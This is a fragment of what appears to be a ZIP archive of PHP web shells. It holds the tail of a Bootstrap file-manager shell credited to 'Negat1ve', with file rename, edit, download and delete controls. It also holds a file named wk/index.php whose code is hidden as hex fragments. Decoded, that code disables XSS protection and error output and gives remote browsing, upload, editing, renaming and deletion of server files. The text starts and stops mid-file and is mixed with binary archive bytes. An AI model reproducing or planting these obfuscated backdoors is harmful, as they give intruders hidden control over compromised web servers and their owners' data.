text-decoration-none"><i class="fa fa-<?= geticon($item) ?>"></i> <?= checkName($item); ?></a></td> <td><?= checkName(($func[49]('mime_content_type') ? $func[63]($item) : $func[38]($item))) ?></td> <td><?= formatSize($func[10]($item)) ?></td> <td><?= $func[19]("Y-m-d h:i:s", $func[20]($item)); ?></td> <td><?= getowner($item) ?></td> <td><?= checkPerm($dir . '/' . $item, perms($dir . '/' . $item)) ?></td> <td> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#renameModal" data-bs-name="<?= $item ?>"><i class="fa fa-edit"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#viewModal" data-bs-name="<?= $item ?>" data-bs-content="<?= $func[18](@$func[14]($item)) ?>"><i class="fa fa-file-signature"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#downloadModal" data-bs-file="<?= $dir . '/' . $item ?>"><i class="fa fa-download"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#deleteModal" data-bs-file="<?= $dir . '/' . $item ?>"><i class="fa fa-trash-alt"></i></button> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php else: ?> <font class="text-danger">Can't read this directory!</font> <?php endif; ?> <?php endif; ?> </div> </div> </div> <div class="col-md-12 my-3"> <div class="card border-dark"> <div class="card-body"> Copyright negat1ve1337@gmail.com <span class="float-end">Coded by <span class="text-muted">Negat1ve</span></span> </div> </div> </div> </div> </div> <div class="modal fade" id="renameModal" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="renameModalLabel" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="renameModalLabel">Rename</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form method="post" id="rename-form"> <div class="modal-body"> <div class="mb-3"> <label for="newname" class="col-form-label">New Name:</label> <input type="text" class="form-control" name="newname" id="newname"> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <button type="submit" class="btn btn-primary">Rename</button> </div> </form> </div> </div> </div> <div class="modal fade" id="deleteModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalToggleLabel2">Delete</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> Are you sure want to delete this? </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <a href="" class="btn btn-danger" id="delete-confirm">Delete</a> </div> </div> </div> </div> <div class="modal fade" id="downloadModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalToggleLabel2">Download</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> Are you sure want to download this? </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <a href="" class="btn btn-danger" id="download-confirm">Download</a> </div> </div> </div> </div> <div class="modal fade" id="viewModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalToggleLabel2">View</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form action="" method="post"> <div class="modal-body"> <div class="mb-3"> <label for="content" class="col-form-label">Content:</label> <textarea class="form-control" id="content" rows="15" name="content"></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <button type="submit" class="btn btn-primary">Save</button> </div> </form> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script> <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script> <script> var renameModal = document.getElementById('renameModal') var deleteModal = document.getElementById('deleteModal') var viewModal = document.getElementById('viewModal') var downloadModal = document.getElementById('downloadModal') renameModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var name = button.getAttribute('data-bs-name') var modalTitle = renameModal.querySelector('.modal-title') var modalBodyInput = renameModal.querySelector('.modal-body input') var hiddenInput = document.createElement('input') hiddenInput.type = "hidden"; hiddenInput.value = name; hiddenInput.name = "oldname"; document.getElementById("rename-form").appendChild(hiddenInput); modalBodyInput.value = name }) deleteModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var file = button.getAttribute('data-bs-file') var deleteConfirm = document.getElementById('delete-confirm') deleteConfirm.href = '?dir=' + file + '&do=delete' }) downloadModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var file = button.getAttribute('data-bs-file') var downloadConfirm = document.getElementById('download-confirm') downloadConfirm.href = '?dir=' + file + '&do=download' }) viewModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var content = button.getAttribute('data-bs-content') var name = button.getAttribute('data-bs-name') var modalTitle = viewModal.querySelector('.modal-title') var modalContent = viewModal.querySelector('.modal-body textarea') var hiddenInput = document.createElement('input') hiddenInput.type = "hidden"; hiddenInput.value = name; hiddenInput.name = "filename"; viewModal.querySelector("form").appendChild(hiddenInput); modalTitle.textContent = 'Edit ' + name modalContent.value = content }) </script> </body> </html>PK 0C�[��f��� �� wk/index.phpnu �[��� <?php class nigwqgqwtqwtqwt{ public function nigwqgqwtqwtqwti(){ $list = "73657373|696F|6E5F73|746172|7428|293B|68656164|65722822|582D58|53532D|50726F|74656374|69|6F6E|3A|20302229|3B6F62|5F7374|617274|28293B73|65|745F|7469|6D65|5F6C69|6D69|74283029|3B657272|6F725F|7265|706F72|7469|6E6728|30293B|69|6E695F73|657428|2764|697370|6C6179|5F657272|6F|727327|2C20|4641|4C5345|293B|0A2469|73416A61|78203D20|69|7373|65|7428|245F|5345|5256|45|525B2748|54|54|505F|58|5F5245|51|5545|535445|445F|5749|544827|5D2920|0A2020|2020|20|202020|20|26262073|7472|746F6C6F|776572|2824|5F|5345|5256|45525B|2748|5454|505F|585F5245|51554553|5445445F|57495448|275D2920|3D3D|3D2027|786D|6C687474|707265|7175|65737427|3B|0A|0A66756E|637469|6F6E2068|657828|246E|29207B|0A20|202020|24793D|27273B|0A|20|20202066|6F7220|2824|693D|303B20|2469203C|2073|74|726C65|6E2824|6E|293B2024|69|2B|2B|297B0A20|20|2020|20202020|2479|202E3D|20646563|686578|28|6F72|64|2824|6E|5B|24695D29|293B0A|20202020|7D0A2020|20|20726574|75726E20|24793B|0A7D0A66|75|6E637469|6F6E|207568|65|7828|24|79|2920|7B|0A2020|20|20246E3D|2727|3B|0A202020|20|666F7220|282469|3D303B|2024|69203C20|73|74|72|6C|656E|28247929|2D31|3B20|24|692B3D|32297B|0A202020|202020|2020246E|20|2E3D|20636872|28686578|64656328|24|795B24|695D2E24|795B|24|69|2B31|5D2929|3B0A|202020|207D0A|202020|20|726574|75726E|20246E3B|0A7D|0A|696620|286973|73|65742824|5F4745|545B22|64225D|2929207B|0A2020|20202464|20|3D|2075|68|6578|28245F|47|45545B|2264|225D293B|0A202020|20|6966|2028|69|735F|64|69722824|642929|207B0A|2020|20202020|20|2063|68646972|28246429|3B0A2020|20|207D|20656C|7365|207B0A|202020|20202020|20|246420|3D206765|7463|77642829|3B0A2020|20207D|0A|7D|20656C|736520|7B0A2020|20|2024|6420|3D206765|7463|776428|293B0A7D|0A66756E|63|7469|6F6E|20736574|466C61|73|682824|7374|617475|73|2C20|24|6D736729|207B|0A202020|20245F53|45535349|4F4E5B|27|73746174|75|73275D|203D|20247374|617475|733B0A|20202020|24|5F5345|5353494F|4E|5B276D|73|6727|5D203D20|246D|73|67|3B0A|7D0A6966|20|286973|73|65|742824|5F|4745|54|5B27|616A6178|275D|29|2026|2620245F|4745545B|2761|6A61|7827|5D|203D3D|203129|207B0A20|2020203F|3E0A2020|20203C74|6162|6C653E0A|20|202020|202020|203C|74686561|643E0A20|202020|202020|20202020|203C74|723E|0A|2020|202020|20202020|20|20202020|20203C74|683E4E61|6D65|3C|2F74683E|0A20|202020|202020|2020|20202020|20|20203C|74683E53|69|7A653C|2F74|68|3E0A20|2020|20202020|2020|20202020|2020|20|3C7468|3E416374|696F6E|733C2F74|683E|0A20|2020|2020|20|202020|202020|3C2F|7472|3E0A2020|20202020|2020|3C|2F|74686561|64|3E|0A20|202020|202020|203C7462|6F64|793E0A|2020|20|20|20202020|3C3F70|68700A20|202020|20|2020|2024656E|74|72|6965|7320|3D20|736361|6E646972|28246429|3B0A|20|20202020|2020|20246469|72|4C|6973|7420|3D|205B5D3B|0A20|202020|20|20202024|66|696C654C|69737420|3D205B5D|3B0A2020|202020|20202066|6F|72|6561|63682028|24|65|6E|747269|65|73|20617320|24656E|747279|29207B0A|20|202020|20|20|20|202020|2020|696620|282465|6E747279|203D|3D2027|2E27|207C7C|202465|6E74|7279|203D|3D2027|2E2E2729|2063|6F6E|7469|6E75653B|0A20|202020|20|2020|2020|20202024|70617468|203D|2024|64|202E20|444952|4543544F|52595F|53|455041|524154|4F5220|2E2024|656E74|72793B0A|2020|2020|2020|20|202020|2020|696620|28|69735F64|69|722824|706174|682929|207B|0A20|20|20|202020|202020|202020|20202020|246469|724C6973|745B|5D203D20|24656E|7472793B|0A|20202020|20202020|20202020|7D|20656C73|6520|7B0A2020|202020|20202020|20|20202020|2020|246669|6C654C69|73|74|5B|5D20|3D|20|24656E|747279|3B0A2020|20202020|20|20202020|207D0A|20202020|2020|20|20|7D0A2020|202020|20202066|6F|7265|616368|20|28246469|72|4C|69737420|61732024|656E7472|792920|7B|0A|20202020|20202020|202020|20247061|74|68203D|202464|202E2044|4952|4543544F|5259|5F53|4550|41|52|41|544F|52202E20|24656E74|72793B0A|202020|20202020|20202020|2065|63686F|20273C74|723E27|3B|0A20|20|2020|20|20|2020|20202020|6563686F|2027|3C|74|643E3C|612063|6C|61|73|733D22|616A61|7844|697222|20687265|663D223F|643D27|20|2E2068|6578|2824|706174|6829202E|2027|223E|27202E20|68746D6C|737065|636961|6C63|686172|732824|656E74|72792920|2E20273C|2F613E3C|2F|7464|3E27|3B0A20|2020|20202020|20|2020|202065|63686F|20|273C74|643E|2D|3C|2F74|64|3E273B|0A202020|202020|20202020|20|20656368|6F|20273C74|643E3C2F|74643E|273B0A20|20202020|2020|20|20202020|656368|6F|20273C2F|74723E27|3B0A20|202020|2020|20|207D0A|2020|2020|20|20202066|6F72|6561|6368|20|2824|66696C|65|4C697374|206173|202465|6E|7472|7929207B|0A202020|20|20|20202020|20|20|20247061|746820|3D2024|64202E20|4449|52454354|4F52595F|5345|5041|524154|4F|52|202E2024|656E74|72|793B0A|2020|2020|202020|20|202020|206563|686F20|273C7472|3E273B|0A202020|202020|20202020|2020|65|6368|6F20273C|74|643E|27202E20|68746D6C|737065|63|69616C63|68|61|7273|28|24|656E74|7279|29202E20|273C2F74|643E27|3B0A|20202020|2020|20|2020|202020|6563|686F2027|3C74643E|27|202E|202869|735F66|696C65|2824|70617468|2920|3F2066|696C65|7369|7A|65282470|617468|2920|2E|20272062|797465|732720|3A20272D|27|29|20|2E20273C|2F|74643E27|3B0A|20202020|202020|202020|20|20656368|6F|20273C|74643E27|3B|0A20|2020|20|2020|2020|2020|20|206563|686F2027|3C6120|636C|61|73733D22|616A61|7845|6469|74|2220|68726566|3D22|3F616374|69|6F6E3D65|646974|2664|3D27|202E2068|65782824|64|2920|2E202726|6669|6C653D27|202E|207572|6C656E63|6F|64|65|2824656E|74|72792920|2E20|27|223E45|646974|3C2F613E|207C2027|3B0A|202020|20|202020|20|20202020|65|63686F20|273C|612063|6C|61|73|733D22|616A61|78|5265|6E616D|652220|68726566|3D223F61|6374696F|6E3D72|65|6E616D|65|26643D27|20|2E|20|68|657828|24642920|2E202726|66|696C653D|27|202E20|75726C65|6E636F|64|6528|24|656E|74|7279|29202E|2027|223E5265|6E616D|653C|2F613E|20|7C|20273B|0A2020|20|20|2020|202020|20|2020|6563686F|2027|3C612063|6C617373|3D|22616A|61784465|6C657465|2220|6872|65663D22|3F616374|696F6E3D|64|656C|65|7465|26643D27|20|2E20|68657828|24|642920|2E|20|2726|66|696C653D|27|202E2075|726C656E|636F64|652824|65|6E747279|2920|2E202722|3E|44|656C|65|74|653C|2F613E|273B|0A20|20202020|20|20|202020|20206563|686F|2027|3C2F|74|64|3E273B0A|2020|20|20202020|20|20202020|6563686F|20|273C2F|74723E27|3B0A2020|20202020|20207D0A|20|2020|2020|2020|203F3E|0A|20202020|20202020|3C2F|74|626F6479|3E0A|20|20|20203C|2F74|61|626C|65|3E|0A2020|20203C|3F7068|700A2020|20|20657869|743B0A7D|0A|0A|69662028|69|73|73|6574|28|24|5F4745|545B27|616A61|78275D|292026|262024|5F474554|5B|27616A|6178|275D203D|3D3D2027|62|726561|6463|72|756D62|272920|7B0A2020|20|2024|6B20|3D|20|7072|65675F73|706C69|742822|2F285C|5C5C5C|7C|5C2F29|2F|222C20|2464|293B0A20|20202024|627265|61|646372|75|6D624874|6D6C|203D20|27|273B|0A202020|2066|6F72|6561|6368|20|28246B|2061|73|2024|6D|203D3E20|246C|29|20|7B0A20|202020|202020|20|6966|2028246C|20|3D|3D2027|27|202626|20|246D20|3D3D20|3029207B|0A20|20|20202020|2020|2020|2020|24627265|61646372|756D6248|746D6C|202E|3D2027|3C61|20|63|6C61|73733D22|61|6A782220|68726566|3D|223F643D|3266223E|2F3C2F|613E273B|0A2020|202020|2020207D|0A|20|20|20202020|20206966|2028246C|203D3D|202727|2920636F|6E7469|6E75|653B|0A|20|20|2020|20202020|24|62726561|64|63|72|75|6D62|4874|6D|6C202E3D|20|27|3C61|20|636C|617373|3D22|616A78|222068|72|65663D|223F64|3D|273B|0A20|20|20|20202020|20666F72|202824|6920|3D2030|3B2024|69203C|3D|2024|6D3B|2024|692B2B29|207B0A20|20|20|2020|202020|2020|20202462|7265|616463|72|756D6248|74|6D6C202E|3D206865|782824|6B5B24|695D29|3B0A2020|20202020|202020|20|20|20696620|28246920|213D2024|6D2920|24627265|61646372|75|6D|62|48746D|6C|202E3D|2027|326627|3B|0A|2020|2020|20202020|7D0A|202020|202020|202024|62|72656164|6372|756D6248|746D6C|202E3D|20|27|22|3E272E24|6C2E273C|2F613E|2F|273B0A20|2020207D|0A202020|2065|63|68|6F|20246272|6561|64637275|6D6248|746D|6C|3B|0A2020|2020|65786974|3B0A|7D0A0A|66756E|6374696F|6E2073|6166655F|7374|72|65616D5F|636F|7079|2824696E|2C|20246F75|74293A|2062|6F6F6C20|7B0A2020|20|2069|662028|5048505F|564552|53494F|4E5F49|44203C20|3830|30|30392920|7B0A2020|2020|20|202020|646F|207B0A20|2020|2020|202020|20202020|66|6F72|20|283B3B29|207B0A|202020|202020|20|202020|20202020|2020|24|62|75|6666|203D|20667265|616428|2469|6E|2C2034|303936|29|3B0A2020|202020|20202020|20202020|202020|69|66|20|282462|75|6666|203D3D3D|206661|6C73|6520|7C7C20|24627566|66|203D|3D|3D2027|2729|207B|0A|202020|20202020|20|20|20|2020|202020|20202020|20627265|616B3B|0A|20202020|20202020|20202020|20|202020|7D0A|202020|2020|20|202020|20202020|20|20206966|202866|777269|74|6528|246F|7574|2C20|24627566|6629|203D3D|3D206661|6C736529|207B0A20|2020|202020|20202020|20202020|2020|2020|20207265|7475726E|20|66|616C7365|3B0A20|202020|2020|2020|20|20|20202020|20|207D0A|202020|20202020|20|20202020|7D0A20|20202020|20|20|20|7D2077|6869|6C65|20|2821|66|656F6628|24|696E29|293B0A20|20202020|20202072|657475|72|6E20|7472|75653B|0A20|20|20|207D20|656C7365|207B|0A|2020|20|202020|20207265|747572|6E2073|747265|61|6D|5F63|6F70795F|746F5F|73|74|726561|6D2824|696E|2C|20|246F75|74292021|3D3D20|66|616C|7365|3B0A20|20|20207D|0A7D|0A|0A|69662028|69|73|73657428|245F504F|5354|5B2762|656E6B|79|6F27|5D292026|2620|69737365|742824|5F|504F53|545B27|6461|6B|656A61|275D29|29207B0A|202020|2024|66696C65|4E|616D6520|3D|20245F|504F|53|545B2762|65|6E6B|796F|275D3B0A|20202020|24656E|63|6F64|65|64436F6E|74|656E74|203D20|24|5F|504F53|545B2764|616B|656A61|275D3B|0A202020|20246465|636F6465|64436F6E|74656E|7420|3D20|68657832|62696E|2824656E|636F|646564|436F6E|74|656E7429|3B0A0A20|2020|20696620|282464|65636F64|65|64436F|6E|7465|6E74|20|3D3D|3D2066|616C7365|2920|7B0A20|20|20202020|20206966|202824|697341|6A617829|20|7B0A|20202020|20|2020|20202020|20|68656164|6572|28|27436F6E|74|656E74|2D54|7970653A|20|6170706C|696361|74|69|6F|6E2F|6A736F|6E27|293B0A|20|20202020|20|2020|202020|206563|686F|20|6A73|6F6E5F|65|6E|636F64|65285B27|737461|747573|27|203D3E|202766|6169|6C6564|272C2027|6D7367|27203D3E|2027496E|76616C69|64|20426173|653634|20656E|636F64|696E|67|275D|293B|0A20|20|20202020|20|207D|2065|6C|7365207B|0A2020|20|20202020|2020|20|202073|657446|6C61|7368|28|27666169|6C|656427|2C2027|496E76|616C|69642042|6173|65|3634|20656E63|6F|64|696E|67|2729|3B|0A|2020|20|2020|20|2020|20|20|202068|656164|657228|224C|6F636174|696F6E|3A203F|643D22|202E20|686578|28|24|642929|3B0A2020|202020|2020|20|7D|0A|2020|20|20|2020|20|2065|78|6974|3B0A|20|20|20|207D0A|0A20|202020|2474656D|705374|726561|6D203D20|666F70|656E28|277068|703A|2F|2F|7465|6D70272C|202772|2B2729|3B0A20|2020|2066|77|726974|652824|7465|6D7053|7472|6561|6D|2C20|24|6465|636F64|6564|436F6E|74656E74|293B0A20|202020|72657769|6E6428|2474|656D|705374|7265|616D293B|0A0A2020|20|20|2474|617267|65745061|7468203D|2024|64202E20|44495245|43544F52|595F5345|50415241|54|4F52|202E|2062|6173|656E616D|65282466|696C|654E|616D|65|29|3B0A20|202020|246F|75|745374|7265616D|203D|20666F70|656E|28247461|72|676574|5061|74682C20|277762|27293B|0A|0A20|2020|202473|75636365|73|73203D20|24|74656D|705374|7265616D|2026|262024|6F7574|53|747265|61|6D|20262620|73|616665|5F737472|6561|6D5F|636F70|79282474|656D70|537472|6561|6D2C2024|6F75|74537472|65616D29|3B0A|0A2020|202069|6620|28246F75|7453|74726561|6D29|2066|636C6F73|6528|246F7574|537472|65616D29|3B0A|20|202020|696620|282474|656D7053|747265|61|6D292066|636C6F73|65|28247465|6D7053|747265|616D|293B|0A0A|20202020|69662028|24|7375|636365|73732920|7B0A2020|2020|2020|20206966|20|282469|7341|6A61|7829|207B|0A2020|202020|2020|20202020|206865|616465|72282743|6F6E7465|6E742D54|7970|653A|206170|706C6963|61|74|696F6E2F|6A736F6E|27|293B0A20|202020|2020|20202020|20|20|656368|6F206A73|6F6E5F|656E|636F6465|28|5B|27737461|7475|732720|3D3E20|27737563|6365|737327|2C2027|6D736727|20|3D3E|202746|696C65|2075706C|6F61|64|6564|20737563|636573|736675|6C6C79|275D293B|0A202020|202020|20|20|7D20656C|7365|207B|0A202020|20|2020|2020|2020|20207365|7446|6C|6173|68282773|7563|636573|7327|2C20|2746|696C6520|75706C|6F616465|6420|7375|63636573|73|66756C6C|792729|3B0A20|202020|20202020|2020|202068|656164|6572|28224C|6F|6361|74696F|6E|3A20|3F|643D22|202E20|68657828|2464|29293B0A|20|20202020|20|20207D|0A|20202020|7D2065|6C7365|207B0A|20202020|202020|206966|20|28|2469|73|416A|617829|20|7B|0A20|202020|20202020|2020|20206865|61646572|2827436F|6E7465|6E742D54|797065|3A206170|706C|69636174|696F|6E2F6A|73|6F6E|27293B|0A2020|2020|2020|202020|2020|206563|686F206A|736F|6E|5F656E|636F|6465285B|27|73|7461|7475|732720|3D|3E|202766|61696C65|6427|2C2027|6D7367|27203D|3E202746|69|6C652075|706C|6F6164|20|66|6169|6C656427|5D|293B0A|20202020|20|202020|7D2065|6C73|6520|7B0A2020|20|20|20202020|20|20202073|65|74|46|6C617368|282766|61696C|656427|2C20|27|46|69|6C65|2075|706C6F|6164|206661|696C|65|6427|29|3B0A20|202020|2020|20202020|20206865|61|646572|28224C|6F636174|69|6F6E3A|203F64|3D22|202E2068|65|782824|6429293B|0A2020|2020|2020|20|20|202020|206578|69743B0A|20202020|2020|2020|7D0A|20|20|20207D0A|20202020|65786974|3B|0A7D|0A|696620|2869|73|73657428|245F47|45|545B|2761|637469|6F6E27|5D2920|26262069|6E5F6172|7261|79|28245F|4745545B|27616374|69|6F6E|275D2C|20|5B|27|6465|6C6574|6527|2C|202772|656E616D|6527|2C202765|6469|74|27|5D29|20262620|6973|73657428|245F47|45545B|276669|6C65|27|5D|292920|7B0A|2020|2020|69|662028|245F47|45|54|5B2761|6374696F|6E275D|203D3D3D|202764|656C6574|65|272920|7B0A|20202020|2020|202024|66696C65|4E616D65|20|3D20|245F4745|545B2766|696C65|275D3B|0A|20|2020|20202020|202466|696C6550|61|7468|20|3D|20726561|6C7061|746828|2464202E|20|44|495245|43544F52|595F5345|50415241|544F52|202E2024|66|696C|654E|616D|65293B|0A|202020|2020|202020|6966|20282124|66|696C6550|617468|207C7C20|2169|735F|66696C|65282466|696C6550|61746829|29|207B0A20|20202020|202020|20202020|2472|6573706F|6E73|6520|3D|205B|277374|6174|757327|3D3E|27|666169|6C6564|272C|276D7367|27|3D3E|27|46|69|6C65|206E6F74|2066|6F75|6E64|20|6F7220|61|63|636573|73|2064|656E6965|6427|5D3B0A20|20|202020|2020|20|7D2065|6C7365|207B|0A|20|20|20202020|20202020|202024|72|6573756C|74|203D2075|6E6C69|6E6B28|2466696C|6550|617468|293B0A|20|2020|202020|20202020|2020|2472|6573706F|6E|7365|203D20|2472|6573756C|74200A20|20202020|20|20202020|202020|2020|203F205B|27|73|746174|75|73273D3E|277375|63|63|6573|7327|2C|276D73|67273D3E|274669|6C65|20|64656C65|7465|64|207375|6363|6573|7366|756C6C79|275D20|0A|2020|2020|20202020|20202020|202020|203A205B|277374|6174|75|73|27|3D3E|2766|61|696C65|64272C27|6D736727|3D3E27|46696C|65206465|6C6574|696F|6E20|6661696C|6564275D|3B0A20|2020|202020|20|207D|0A2020|2020|202020|206865|616465|72|2827|436F|6E7465|6E742D|54797065|3A20|617070|6C696361|74|696F6E|2F6A|73|6F6E27|293B0A20|2020|20|2020|20206563|68|6F20|6A|736F|6E|5F65|6E|636F|64652824|72|6573|706F6E73|65293B|0A|20202020|202020|20|65786974|3B20|0A|20202020|7D20|656C|73656966|2028245F|47|45545B27|6163|74696F6E|275D|20|3D|3D|3D2027|72|656E|616D|652729|207B|0A2020|2020|2020|20206966|2028245F|53455256|45|52|5B275245|51|5545|5354|5F4D|455448|4F44275D|203D3D3D|20|2750|4F|535427|20|262620|697373|657428|24|5F504F53|545B|276E6577|5F6E|616D6527|5D2929|207B0A20|20202020|202020|202020|20246F6C|6446696C|65203D|207265|616C70|617468|282464|20|2E20|44495245|43|54|4F52|595F|53|45504152|41544F|52202E|20245F|4745|545B2766|696C65|275D293B|0A202020|202020|20|202020|202024|6E6577|4669|6C|6520|3D|2024|64202E20|4449|52454354|4F52|595F53|4550|4152|41544F52|202E|20245F50|4F|53|545B276E|65775F|6E61|6D|6527|5D3B|0A2020|202020|2020|20|20202020|69|662028|246F6C|6446696C|65|20|26262069|735F66|696C6528|24|6F6C64|46696C|65|29|2920|7B0A|20|202020|20202020|2020|2020|202020|202472|657375|6C|74|20|3D207265|6E616D|65|2824|6F|6C644669|6C652C|20246E|65|7746|696C65|293B0A|2020|202020|2020|20|2020|2020|20202020|247265|7370|6F6E7365|203D|20|247265|7375|6C|74|200A|2020|20202020|20202020|20|202020|2020|2020|20203F20|5B277374|6174|757327|3D3E2773|75636365|737327|2C276D73|6727|3D3E|2746696C|6520|72656E61|6D656420|7375|6363|6573|7366|756C6C79|275D20|0A202020|20|2020|20|20|20202020|20202020|20202020|3A205B|27|737461|74|757327|3D3E27|6661696C|6564272C|276D73|67273D3E|27|4669|6C|65|207265|6E616D|696E6720|6661|696C6564|275D3B|0A202020|20|202020|2020|2020|20|20|20|2020|6865|61|64657228|27436F6E|7465|6E742D54|7970653A|2061|7070|6C6963|6174|696F6E2F|6A736F6E|2729|3B0A|20|202020|20202020|20202020|2020|20206563|686F206A|736F6E|5F|656E636F|64652824|72657370|6F6E73|6529|3B0A20|202020|2020|20202020|20|20202020|20657869|74|3B0A|20|202020|20202020|20202020|7D|2065|6C73|65207B|0A|20202020|20|20|202020|2020|20202020|20686561|646572|2827|436F|6E74|656E74|2D547970|653A2061|70|70|6C|69|636174|696F6E2F|6A736F|6E2729|3B|0A|2020|202020|202020|20|20|20|2020|202020|6563686F|206A|73|6F6E5F|656E63|6F6465|285B27|7374|6174|757327|3D3E27|66|61696C|65|6427|2C276D|73|67|273D|3E|27|46|69|6C|65|206E|6F74|20|666F756E|6427|5D|293B0A|202020|2020|202020|20202020|20|20202065|7869743B|0A20|20202020|202020|20|2020207D|0A20|202020|20|2020|207D20|656C7365|696620|2824|6973|41|6A617829|20|7B0A20|2020|202020|202020|20202065|63686F|20273C|68|323E52|656E|616D6520|46696C65|3A2027|20|2E|20|68746D|6C7370|65|63|69616C63|686172|7328245F|474554|5B276669|6C65|27|5D2920|2E20273C|2F|68323E|273B0A|20202020|202020|20|20202020|65|63|686F20|273C6469|7620636C|617373|3D22|746572|6D696E|616C2D62|6F78|223E|273B|0A2020|202020|202020|20202020|6563|68|6F|20273C|666F|72|6D|2063|6C|6173733D|22616A|6178466F|72|6D2220|6D|6574686F|643D|22504F|53|5422|20616374|696F6E3D|22|3F616374|69|6F6E3D|72|65|6E|616D|65|26|643D27|20|2E|20|686578|2824|6429202E|2027|266669|6C653D27|20|2E20|75726C65|6E|636F|646528|245F47|45545B27|66|696C65|275D29|202E2027|22|3E273B0A|202020|2020|202020|2020|20|206563|686F2027|3C|696E|70757420|74797065|3D227465|787422|206E|61|6D653D|226E|65|775F6E61|6D|6522|20706C|61|63|65686F|6C6465|72|3D22|4E65|77206669|6C65206E|616D65|22207265|71|756972|65|643E3C|62|723E|273B0A|20202020|20|2020|2020|20202065|6368|6F20273C|62723E3C|69|6E70|7574|2074|7970653D|22737562|6D69|74|222076|61|6C75|653D22|52656E|616D|6522|3E2027|3B0A2020|20202020|20|202020|202065|63|686F|20|273C|62757474|6F6E2074|7970653D|2262|7574|746F|6E|22|206964|3D|226361|6E|63656C41|6374|696F6E|22|3E43|616E|6365|6C3C2F62|75|74|746F|6E|3E273B0A|2020|20202020|202020|20|20|20|6563686F|20|27|3C2F66|6F72|6D|3E27|3B0A|2020|20202020|20202020|20|2065|63|686F20|273C2F|6469|76|3E3C68|723E273B|0A2020|202020|20202020|20|20|20|65|7869743B|0A|2020|20202020|20207D|0A20|2020|207D|2065|6C|736569|66|202824|5F|4745|545B27|61637469|6F6E|275D20|3D3D3D20|2765|6469|7427|29|207B|0A2020|202020|20|2020|696620|2824|5F534552|5645|525B|27524551|55455354|5F4D4554|484F|44275D|203D|3D|3D|2027504F|535427|20|26262069|73736574|28245F|50|4F|53|545B|27636F|6E74656E|74|275D29|29207B0A|20|2020|202020|20202020|20202466|696C|65|5061|746820|3D207265|616C70|61746828|246420|2E20|44495245|43|544F5259|5F|53|45|5041|524154|4F5220|2E20|24|5F47|45|545B2766|69|6C65|275D293B|0A2020|20202020|20|2020|20|2020|6966|20282466|696C|6550|61|7468|202626|2069|73|5F6669|6C6528|24|66|696C6550|617468|2929|207B0A|20202020|20202020|20202020|20202020|2466|70203D|20|66|6F70656E|282466|696C|65506174|682C20|227722|293B0A|2020|2020|2020|2020|20202020|202020|20|69|66|20282466|702920|7B0A|202020|2020|20202020|2020|2020|202020|20|202020|2462|79|74657357|7269|74|74656E|20|3D20|667772|69746528|2466|702C2073|74|72697073|6C617368|65732824|5F50|4F5354|5B27636F|6E74656E|74275D|29293B|0A2020|202020|202020|20202020|202020|20202020|2066|636C6F|736528|246670|293B0A20|20|202020|202020|20|2020|20202020|20|2020|20202472|6573706F|6E|7365203D|202824|62797465|73|57|726974|7465|6E|2021|3D3D2066|616C7365|290A|20202020|20202020|202020|20202020|202020|20|20202020|203F205B|2773|74617475|7327203D|3E2027|73756363|657373|272C|20|276D73|67|27|203D3E20|2746|696C|6520|6564|697465|642073|756363|65|73736675|6C|6C|79275D0A|2020|202020|20202020|2020|2020|20|20202020|2020|20202020|3A205B27|737461|7475|73|27203D3E|202766|61696C65|64|272C2027|6D|7367|27|203D|3E20|274669|6C6520|65646974|696E6720|666169|6C|6564275D|3B|0A202020|202020|202020|202020|20|20|20207D|2065|6C736520|7B|0A|202020|202020|20|202020|20|20|20202020|202020|202472|6573706F|6E|736520|3D|205B|277374|6174|75732720|3D3E2027|6661696C|65|64272C20|27|6D736727|203D3E|202746|696C|65|206F|70|656E696E|67206661|696C65|6427|5D|3B0A20|202020|202020|202020|20202020|20207D0A|20202020|20202020|20|20202020|2020|206865|61646572|28|2743|